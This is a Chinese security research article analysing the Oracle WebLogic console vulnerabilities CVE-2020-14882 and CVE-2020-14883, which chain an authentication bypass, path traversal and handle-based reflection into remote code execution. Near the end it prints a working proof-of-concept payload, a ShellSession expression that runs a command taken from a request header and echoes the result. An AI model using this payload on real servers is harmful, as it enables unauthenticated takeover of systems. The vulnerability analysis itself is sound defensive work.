作者:Lucifaer
原文链接:https://lucifaer.com/2020/11/25/WebLogic one GET request RCE分析(CVE-2020-14882+CVE-2020-14883)/
Weblogic官方在10月补丁中修复了CVE-2020-14882
及CVE-2020-14883
两个漏洞,这两个漏洞都位于Weblogic Console
及控制台组件中,两个漏洞组合利用允许远程攻击者通过http
进行网络请求,从而攻击Weblogic服务器,最终远程攻击者可以利用该漏洞在未授权的情况下完全接管Weblogic服务器。
在经过diff后,可以定位到漏洞触发点:
CVE-2020-14883:com.bea.console.handles.HandleFactory
CVE-2020-14882:com.bea.console.utils.MBeanUtilsInitSingleFileServlet
这里先把结论放出来:
Netuix
渲染后台页面该漏洞分为三部分:
前两部分为CVE-2020-14882
,后面一部分为CVE-2020-14883
。本文将从上而下将三部分进行串流分析,主要采用动态跟踪。
在具体分析路由鉴权前,需要先要寻找一下处理路由的servlet是哪个。
Weblogicconsole
组件对应着Weblogic Server启动后的管理平台(即/console
路由所对应的组件),其对应着一个webapp
,所以想要理清路由所对应的servlet
映射关系,就需要去看一下相关的配置文件。配置文件为wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml
。
正常登录后的路由情况为:
会访问一个console.portal
文件,对应在web.xml
中看一下相关的路由处理情况:
可以看到对应的servlet
为AppManagerServlet
:
所以先在AppManagerServlet
下断调试一下路径鉴权或者说是权限鉴定的流程。
跟进一下初始化流程:
weblogic.servlet.AsyncInitServlet#init -> weblogic.servlet.AsyncInitServlet#initDelegate -> weblogic.servlet.AsyncInitServlet#createDelegate
这里的this.SERVLET_CLASS_NAME
也就是xml中的:
所以初始化过程实际上是实例化了com.bea.console.utils.MBeanUtilsInitSingleFileServlet
,并调用其init()
方法,跟进看一下其所对应的处理方法:
注意红框所标识的内容,oracle针对CVE-2020-14882
的修补也是在这里针对url
加了一个黑名单,并过了一遍黑名单:
继续跟进父类SingleFileServlet
的server
中:
在完成AppContext
初始化后,即进入真的处理请求的UIServlet
:
在此处完成后续的请求处理。
在这里我们先不向后跟进,在此处下个断点向上跟踪一下,看一下Weblogic路由映射及路由鉴权在哪里触发。调用栈如下:
可以看到在weblogic.servlet.internal.WebAppServletContext
中完成的权限校验。跟进具体看一下:
在weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
方法的流程中会调用checkAccess
方法来进行权限校验,跟进看一下:
当首次请求进入后checkAllResources
变量为false
,所以跟进getConstraint
方法:
这里的constraintsMap
中保存着一份路由表:
这份路由表对应的是web.xml
中的security-constraint
:
注意在针对/
的路由处理是限定了需要经过认证的,而针对:
/images/*
/common/*
/css/*
路径的访问是没有认证约束的。对应到代码中,就是说当访问的路由符合该路由映射表中的情况时,将根据配置设置rcForAllMethods
变量,也就是最终返回的resourceConstraint
:
这里的unrestricted
变量代表该路由是否为非受限路由,在后续鉴权时该变量会起关键性作用。当请求的路由是路由表中的路由时,该变量都为true
。当完成resourceConstraint
设置后,就会进入isAuthorized
方法进行权限鉴定:
这里将执行流转换到CertSecurityModule#checkUserPerm
方法中:
首先会根据session
来确定是否需要重新登录,之后会判断是否为指定路由,如果是未指定的路由,则保护资源,由于我们这里访问的路由为/css
,在指定的路由表中,所以这里是false
。重点看hasPermission
方法,这里会用到resourceConstraint
中的unrestricted
:
这里首先会判断当前的账户是否为Admin账户,当前应用是否为内部引用等,若都不满足,则会判断是否设置了完整安全路由
选项,这里是false
。接下来会判断该路由是否为非受限的路由,如果是,则返回true。由于我们根据路由表返回设置的unrestricted
变量为true
,即为非受限的路由,所以这样就通过了路由鉴权,导致了未授权访问相关资源。
当完成了路由鉴权后,会根据web.xml
中的设置,将访问的路由映射到相应的servlet进行请求处理:
因为我们后续的流程在UIServlet
中进行,所以可以用于绕过路由鉴权的路由即为:
/css/*
/images/*
当checkAccess
方法返回为true
后,会根据配置返回对应的servlet并调用service
方法。
首先会初始化ServletInvocationAction
对象:
从subject.run(action)
一路向下跟,在weblogic.security.acl.internal.AuthenticatedSubject#doAs
中调用action
的run
方法,即跟进ServletInvocationAction#run
:
在调用execute
方法前,会首先判断是否存在拦截器及请求监听器,若存在则执行对应的拦截器执行链,否则执行stub.execute()
方法。跟进stub.execute()
方法,即weblogic.servlet.internal.ServletStubImpl#execute
:
这里会调用getServlet()
方法返回对应的servlet
:
从上面的分析可知,想要访问非受限的资源,就需要构造符合路由表中的路由。从此我们也可以看出这里并非一个权限绕过操作,而是一个正常的访问非受限资源(如css文件这类资源)的操作,想要搞清楚为什么能因此而触发一个登陆后代码执行操作,就需要跟进UIServlet
的具体处理流程中。
weblogic.servlet.AsyncInitServlet
为处理Netuix
相关请求的servlet
,根据2.1.1中的分析,我们可以知道其真实的处理逻辑是在com.bea.netuix.servlets.manager.UIServlet
中完成的:
对于UIServlet
来说,处理GET请求的逻辑最终也会在doPost
方法中。上图红框中所标明的两处即为UIServlet
的核心功能:
UIContext
,或者说是通过解析.portal
文件建立渲染模板的上下文接下来也会以这两点为核心具体叙述Netuix框架是如何完成执行流的转换的。
建立UIContext
的主要流程在createUIContext
方法中:
红框所标注的两行为关键流程。首先跟进UIContextFactory.createUIContext
,这里主要完成了UIContext
的初始化:
在执行setServletRequest
方法时,会根据请求的参数对postback
成员变量进行设置:
可以看到:
postback
设置为true
_nfpb
参数的GET请求,会根据参数的值设置postback
的值postback
变量在后续执行UIContext
生命周期时会对流程产生影响。这里先记一下。
完成UIContext
的初始化过程后,接下来就是解析.portal
文件,将解析结果填充到UIContext
中。这一部分的流程在getTree()
方法中:
这里有一个需要注意的点,这里会对请求的路径进行二次URLDecode,这也就是为什么构造的poc是需要二次URL编码的原因。
跟进processStream()
方法,具体的解析逻辑就在这里:
可以看到经过二次URLDecode后的请求路径在此造成了目录穿越的效果。
com.bea.netuix.servlets.manager.SingleFileProcessor#getMergedControlFromFile
中首先会初始化SAX解析器,然后根据传入的文件路径获取到对应的.portal
文件,并利用SAX解析器解析该.portal
文件:
getMergedControlFromFile()
方法最终会调用getSourceFromDisk()
方法根据传入的路径获取consoleapp/webapp
目录下相应的文件即:
在利用SAX解析器解析完该portal
文件后,生成语法树,也就是getTree()
返回的ControlTreeRoot
对象,并将语法树置入UIContext
中。
至此就完成了UIContext
的初始化流程。
在完成了UIContext
初始化流程之后,便会调用runLifecycle()
方法运行生命周期,开始根据请求参数完成模板渲染。
跟进runLifecycle()
:
在com.bea.netuix.nf.Lifecycle#run
中,需要注意这个条件判断,这里会影响到后面的流程调用。
根据2.2.1中的分析我们知道当GET请求存在_nfpb
参数时,会根据参数的值设置postback
的值,outbound
值默认为false
。
而postback
值只会影响是否会执行runInbound()
流程。在具体跟踪了runInbound()
流程后,可以发现其处理逻辑是相同的:
而关键点就在其VisitorType
是不同的,这会在processLifecycles()
流程中影响具体的节点遍历顺序:
在com.bea.netuix.nf.Lifecycle
中,我们可以看到inbound
与outbound
的区别:
各VisitorType
具体配置为:
所以由postback
会衍生出两种不同的执行流。
在具体跟进两种执行流前,首先介绍一下Netuix
的解析流程,在其官方介绍页面上有对生命周期方法执行顺序及netuix控件解析流程的详细描述,这里将其内容简要总结一下。
Netuix
控件树的生命周期其实就是按顺序所执行的一组方法,这组方法的执行顺序如下:
init() loadState() handlePostbackData() raiseChangeEvents() preRender() saveState() render() dispose()
其中的方法与上面所看到的inbound
与outbound
相同。这些方法在节点间是以深度优先的方式执行,即按照顺序会执行所有控件的init()
,之后才会重新遍历执行loadState()
方法。
在说完了每个控件的生命周期后,再来说一下控件间的关系:
根据这张表我们来对应看一下consolejndi.portal
:
红框所标注的区域是完美符合上表所描述的关系的。向上寻找Portlet
,看加载了哪些外部控件:
跟进该文件:
这里调用了strutsContent
控件,同时标注了具体的action
为MessagesAction
。可以通过该action
在struts-config.xml
中找到其所对应的类:
通过上面的分析,可以看到Netuix
将执行流从模板渲染转换到其各个组件的渲染之中。所以最终触发代码执行的只和组件的生命周期有关,即只和节点有关。
在经过分析后,我列举三个最通用的组件:
strutsConent
Page
Portlet
由于无论postback
为何值,最终都会执行outbound
流程,所以接下来对于组件生命周期的分析,我都以outbound
流程来说明。
根据上面的分析,outbound
的生命周期为:
preRender() saveState() render()
所以首先执行的方法是preRender
,跟进看一下com.bea.netuix.nf.ControlTreeWalker#walk
:
ControlVisitor visit = root.getVisitorForLifecycle(vt);
这里将获取ControlLifecycle.preRenderVisitor
以深度优先的方式遍历所有节点,并调用visit()
方法。跟进看一下com.bea.netuix.nf.ControlVisitor#visit
:
就如上面所说,关键逻辑还是调用传入控件的preRender()
方法。接下来就会按照2.2.3中的所介绍的控件间关系进行深度遍历,在遍历到不同组件时会利用不同的方式触发代码执行流程。
以consolejndi.portal
为例,当节点为portletInstance
时,会触发外部组件调用,及会跟进该文件,解析Content
节点:
此处处理的节点为strutsContent
,即control
为strutsContent
。跟进com.bea.netuix.servlets.controls.content.StrutsContent#preRender
方法:
没有相关的方法,跟进其父类com.bea.netuix.servlets.controls.content.NetuiContent#preRender
:
this.getScopedContentStub()
调用栈如下:
com.bea.netuix.servlets.controls.content.StrutsContent#getScopedContentStub -> com.bea.netuix.servlets.controls.content.StrutsContent.StrutsContentUrlRewriter初始化 -> com.bea.portlet.adapter.scopedcontent.AdapterFactory#getInstance(com.bea.struts.adapter.util.rewriter.StrutsURLRewriter)
最终通过适配工厂返回一个StrutsStubImpl
:
所以跟进com.bea.portlet.adapter.scopedcontent.StrutsStubImpl#render
:
在renderInternal()
方法中,完成内部渲染的工作,包括:
Action
及其servlet,并设置解析器,最终调用executeAction
执行跟进executeAction()
方法:
这里会调用PageFlowUtils#strutsLookup
方法,该方法最终将会触发负责处理针对
Action请求的servlet的doGet方法
,调用链如下:
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#strutsLookup com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#getInstance com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#instantiateStrutsDelegate com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate#strutsLookupInternal org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[]) org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[], boolean)
这里有两个点需要注意,第一个点是获取ActionServlet
的过程,这一部分其实并不需要去跟踪代码,可以通过直接看web.xml
找到:
关于AsyncInitServlet
的初始化流程在2.1.1中有详细的跟踪,这里就不赘述了。这里可以看出真正的处理逻辑在com.bea.console.internal.ConsoleActionServlet
中,直接跟进看com.bea.console.internal.ConsoleActionServlet#doGet
:
一路向下跟进,调用栈如下:
org.apache.struts.action.ActionServlet#process -> com.bea.console.internal.ConsoleActionServlet#process -> org.apache.beehive.netui.pageflow.PageFlowActionServlet#process -> org.apache.beehive.netui.pageflow.AutoRegisterActionServlet#process -> org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#process -> org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#processInternal -> org.apache.struts.action.RequestProcessor#process -> com.bea.console.internal.ConsolePageFlowRequestProcessor#processActionPerform -> com.bea.console.utils.HandleUtils#getHandleContextFromRequest -> com.bea.console.utils.HandleUtils#handleFromQueryString
重点看一下com.bea.console.utils.HandleUtils#handleFromQueryString
:
首先会将请求的参数进行解析,并映射到Map中,之后遍历所有的参数,当参数以handle
结尾,则将其转换为Handle
类型的对象。所以跟踪流程到com.bea.console.handles.HandleConverter#convert
:
这里会将请求中以handle
结尾的参数值作为local
,直接传入HandleFactory.getHandle()
方法中,在该方法中将传入的参数值进行处理,直接完成反射实例化操作:
当解析Page
组件时,control.preRender()
实际将会调用com.bea.netuix.servlets.controls.page.Page#preRender
:
接下来就是一路向上,调用父类的preRender
方法,调用栈如下:
com.bea.netuix.servlets.controls.page.Page#preRender -> com.bea.netuix.servlets.controls.window.Window#preRender -> com.bea.netuix.servlets.controls.AdministeredBackableControl#preRender -> com.bea.netuix.servlets.controls.Backable.Impl#preRender
在com.bea.netuix.servlets.controls.Backable.Impl#preRender
中将会获取jspbacking
,并调用其preRender
方法:
以consolejndi.portal
为例,其中的一个page
组件描述如下:
此处会根据book
组件中所定义的title
获取其backingFile
的具体引用,在这里为com.bea.console.utils.JndiViewerBackingFile
:
接下来的调用栈为:
com.bea.console.utils.GeneralBackingFile#preRender -> com.bea.console.utils.GeneralBackingFile#localizeTitle(com.bea.netuix.servlets.controls.window.backing.WindowBackingContext, javax.servlet.http.HttpServletRequest) -> com.bea.console.utils.GeneralBackingFile#getDisplayName -> com.bea.console.utils.HandleUtils#getHandleContextFromRequest
调用至此已经和2.3.1中提到的调用路径相同了,在此不再赘述。
portlet
组件执行流与page
组件基本完全相同,唯一区别点在于backingFile
不同。以consolejndi.portal
为例:
引用外部组件,跟进jnditree.portlet
:
跟进看一下:
调用父类com.bea.console.utils.PortletBackingFile#preRender
,同样,都会调用父类的localizeTitle()
方法:
这里也会调用com.bea.console.utils.GeneralBackingFile#localizeTitle
,之后的流程与2.3.2中的流程完全相同。
根据以上分析,我们可以看到除了strutsContent
外,其他几种组件的应用方式都比较类似,关键点为两个:
preRender
流程中会调用到Backable#preRender
方法backingFile
为GeneralBackingFile
子类,同时其preRender
方法会调用父类localizeTitle
方法想要寻找其他的组件可以看一下继承树:
红框所标注的即为2.3.2与2.3.3中所分析到的调用过程。
经过0x02的分析,我们不难看出该漏洞和其他传统的越权漏洞是有很大区别的:
../
造成目录穿越,使Netuix
在初始化语法树时读取对应的后台模板文件Netuix
生命周期中通过组件对应的处理流程触发Handle
流程handle
结尾的参数的值作为参数传入HandleFactory#getHandle
方法中,完成反射调用所以利用方式也显而易见,这里利用@77ca1k1k1的poc做展示:
poc:
com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html
@77ca1k1k1关于回显的研究
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1411/